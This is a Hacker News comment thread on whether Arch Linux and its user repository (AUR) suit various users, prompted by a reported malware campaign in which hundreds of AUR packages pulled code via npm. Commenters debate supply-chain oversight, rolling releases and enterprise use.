          The problem is more that the Arch value proposition kinda presupposes the sort of user that's going to "feel superior" about having it installed[0]. It leads to people that have no business installing Arch Linux (as it doesn't match their usecase) installing Arch Linux because it makes them feel cool.

          I don't have a good answer for this, besides making it more apparent what people should expect from having Arch installed. My recommendation usually goes something like this:

          * Do you want to have the latest version of all software, regardless of the question if it's well-tested beforehand?

          * Do you want to have all software distributed in an as-close-to-upstream approach as possible? Be aware that "upstream" configuration can sometimes significantly differ from defaults most people expect. (Sometimes there's reasons for this, sometimes upstream are a bunch of obstinate jerks.)

          * Are you comfortable with a terminal?

          * Are you comfortable with needing to suddenly learn how to troubleshoot a broken system after a routine update?

          Only if the answer to all of those is "yes", then Arch is suitable for you.

          And finally, more specific to servers, where the answer should be "no" if you want to use arch:

          * Do you have the expectation to never have to touch the OS after it's been configured correctly besides routine maintenance (ie. installing security updates) and maybe a big update twice a year?

          I used to use Arch, before realizing that my system was gradually morphing into a bespoke mess that didn't really serve my needs and that while doing something very specific was possible, I also had to configure a bunch of mundane stuff you aren't normally required to think about - there's never a "just install, activate and adjust as needed" with Arch. All I actually wanted was a distro with more recent software than "3 years old" (Debian/Ubuntu's sluggish package inclusion is not really useful for desktops).

          So I looked around and realized Fedora worked better for me: professional, clean, recent software (every 9 months updates, feature freezes are smart enough to account for ie. New Python releases) and not prone to sudden surprises.

          [0]: https://wiki.archlinux.org/title/Arch_Linux is a good example of it.

        • bachmeier 4 hours ago

          Honestly, it's hard to see how Arch is a usable distro for most potential users without AUR. If you want a large selection of official packages, the Debian world is going to be the better choice.

          • rossvor 4 hours ago

            Obviously usages vary greatly, but I doubt it's that of big deal for majority of Arch users (maybe it's different for Arch derived distros). My AUR maintained package count has been in single digits for decades (both on my home PC and work station), and I don't think it as a heavy burden to update those packages. There's a certain selection bias going on here -- I drop AUR packages if they become too annoying (if they require updates too frequently or they want a slew of other AUR only packages as dependencies), I either find alternatives or alternative sources for them (e.g. flathub).

            Arch still hits the sweet spot for me -- unobtrusive, close to upstream, and well-documented enough to keep full control over your own system. Both for the times when you want to go with the most default path and for the cases when you want to deviate and go play in the weeds.

            • bachmeier 3 hours ago

              I think the issue with AUR is that you get your foot in the door with packages like spotify[1]. It does its magic to allow you to install a .deb package on your distro. I don't know how else to install the Spotify desktop app without AUR. But once you're willing to do that, why not go a little further and trust other packages?

              Now, someone could argue that the Spotify app isn't important, but there's a reason it has 268 votes. A better solution would be having packages like spotify in their own repo, and a separate, you-better-verify repo for the rest.

              [1] https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=spoti...

              • rossvor 3 hours ago

                I don't have it installed, so I can't comment if it requires constant babysitting, but looks pretty okay to me -- it has no AUR-only dependencies (++), one extra shell script (--), popular (++ given enough eyeballs...). Should be fairly easy to review, anything fishy should be fairly visible in git diff. If I needed it I would be using this PKGBUILD. It's a net gain that it exists there, someone else done most of the work for me.

                > Now, someone could argue that the Spotify app isn't important, but there's a reason it has 268 votes. A better solution would be having packages like spotify in their own repo, and a separate, you-better-verify repo for the rest.

                I mean yeah, but everything is trade off of volunteer + user attention. There is no trusted user™ who uses spotify, so it's not in official packages. So you as user need to maintain it yourself or rely on AUR and verify.

  • QuantumNoodle 7 hours ago

    Man, I never hear good security things about npm

    • Retr0id 7 hours ago

      This doesn't really have anything to do with npm.

      • notabotiswear 6 hours ago

        From the Arch mailing list [0]

        >The result is a rather long list of ~408 packages all doing npm install atomic-lockfile something something

        [0] https://lists.archlinux.org/archives/list/aur-general@lists....

        • Retr0id 6 hours ago

          They could've pip installed, curl|sh'd or anything else, it's not relevant to the underlying issue.

          • notabotiswear 5 hours ago

            Perhaps there were other vectors, but npm was the one used here.

            And yes, this is an AUR issue, but npm being used to host and dissiminate malware is also [a chronic] one, even if separate.

      • vitamark 6 hours ago

        anything except that it's malware installed via npm

    • animitronix 5 hours ago

      So true. The JavaScript ecosystem is trash.

  • virajk_31 6 hours ago

    AUR doesn't guarantee security, its upto the user to use AUR & verify before installing anything, its very evident why arch is not used in enterprise solutions.

    • fooqux 6 hours ago

      It's not the AUR. It's the rolling release cycle, and probably even more importantly, lack of support options.

      • datakan 5 hours ago

        The AUR has absolutely nothing to do with the rolling release cycle

        • virajk_31 5 hours ago

          yes & comment didn't mention that both are dependent, fooqux is correct.

          • datakan 4 hours ago

            He literally said "It's the rolling release cycle" he is not correct

            • luxpir 4 hours ago

              You're reading it wrong. He's giving an alternative reason why it's not used in enterprise.

      • virajk_31 5 hours ago

        Agree

    • hootz 6 hours ago

      Arch is not used in enterprise solutions because of the AUR? Can't you just not use it?

      • virajk_31 5 hours ago

        AUR is choice, rolling release is the reason

        • this_user 4 hours ago

          No, it's not. If Debian had a community-maintained repo of additional packages, the same thing could happen there.

          The fundamental problem is having something that has very loose oversight and next to no controls. That may have worked in the past, but in the day and age of constant supply chain attacks, it's a major liability.

          • NekkoDroid 2 hours ago

            GP was talking about why Arch isn't used in enterprise, not what happened in the post.

        • hootz 24 minutes ago

          Makes sense.

        • SahAssar 4 hours ago

          Rolling release has nothing to do with this. It could just as well be a PPA in ubuntu or any deb repo for debian or similar.